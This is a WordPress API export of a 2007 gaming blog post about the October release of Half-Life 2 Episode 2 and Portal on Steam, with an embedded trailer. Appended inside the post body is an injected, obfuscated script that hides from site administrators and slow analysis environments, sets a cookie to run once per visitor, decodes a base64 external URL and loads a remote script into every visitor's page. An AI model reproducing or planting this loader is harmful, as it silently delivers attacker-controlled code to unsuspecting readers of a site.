{"id":202,"date":"2007-06-15T17:31:14","date_gmt":"2007-06-15T21:31:14","guid":{"rendered":"http:\/\/www.callblog.net\/?p=202"},"modified":"2025-10-17T13:14:18","modified_gmt":"2025-10-17T17:14:18","slug":"half-life-2-episode-2-and-portal-shipping-downloading-october-9th","status":"publish","type":"post","link":"http:\/\/callblog.net\/blog\/post\/half-life-2-episode-2-and-portal-shipping-downloading-october-9th","title":{"rendered":"Half Life 2 Episode 2 and Portal shipping (downloading) October 9th"},"content":{"rendered":"<p>Although the official website is severely lacking in the details department,  I was excited to see <a href=\"http:\/\/www.joystiq.com\">Joystiq<\/a> <a href=\"http:\/\/www.joystiq.com\/2007\/06\/15\/half-life-2-episode-two-portal-team-fortress-2-shipping-octob\/\">reporting<\/a> today that <a href=\"http:\/\/en.wikipedia.org\/wiki\/Half-Life_2:_Episode_Two\">Half Life 2 Episode 2<\/a> and <a href=\"http:\/\/en.wikipedia.org\/wiki\/Portal_(computer_game)\">Portal<\/a> (along with <a href=\"http:\/\/en.wikipedia.org\/wiki\/Team_Fortress_2\">Team Fortress 2<\/a>, which I don&#8217;t really care about) will be available on game developer <a href=\"http:\/\/www.valvesoftware.com\/\">Valve<\/a>&#8216;s <a href=\"http:\/\/steampowered.com\/\">Steam<\/a> service on October 9th, 2007.  The games will also be available on PS3 and Xbox 360 (both of which I also don&#8217;t care about). My interest in Half Life started with the stunning visuals and phsyics engine, but I was drawn in by the story.  I played through Half Life: Source to see how the mess at <a href=\"http:\/\/en.wikipedia.org\/wiki\/Black_Mesa_Research_Facility\">Black Mesa<\/a> started and then played Episode 1 as soon as it was available.  Episode 1 leaves you hanging just as much as the end of Half Life 2 does, so I&#8217;m sure I&#8217;ll have to play through episode 2 just to see what happens next.<\/p>\n<p>Portal, on the other hand, I&#8217;ll play to see how it&#8217;s perversion of physics plays out.  The trailer (see below) generated a lot of buzz when it was first released, and it looks like it could be lots and lots of fun.  I&#8217;ve marked my calendar with the release date, but 4 months can be a long time. Based on Valve&#8217;s past performance, I&#8217;m sad to say that I wouldn&#8217;t be surprised to see it pushed back in 2008.<\/p>\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\"  codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=8,0,0,0\" id=\"gtembed\" width=\"480\" height=\"409\"><param name=\"allowScriptAccess\" value=\"sameDomain\" \/><param name=\"movie\" value=\"http:\/\/www.gametrailers.com\/remote_wrap.php?mid=11883\"\/><param name=\"quality\" value=\"high\" \/><embed src=\"http:\/\/www.gametrailers.com\/remote_wrap.php?mid=11883\" swLiveConnect=\"true\" name=\"gtembed\" align=\"middle\" allowScriptAccess=\"sameDomain\" quality=\"high\" pluginspage=\"http:\/\/www.macromedia.com\/go\/getflashplayer\" type=\"application\/x-shockwave-flash\" width=\"480\" height=\"409\"\/><\/object><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Although the official website is severely lacking in the details department, I was excited to see Joystiq reporting today that Half Life 2 Episode 2 and Portal (along with Team Fortress 2, which I don&#8217;t really care about) will be available on game developer Valve&#8216;s Steam service on October 9th, 2007. The games will also [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[27],"tags":[],"class_list":["post-202","post","type-post","status-publish","format-standard","hentry","category-video-games"],"_links":{"self":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/202","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/comments?post=202"}],"version-history":[{"count":1,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/202\/revisions"}],"predecessor-version":[{"id":782,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/202\/revisions\/782"}],"wp:attachment":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/media?parent=202"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/categories?post=202"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/tags?post=202"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}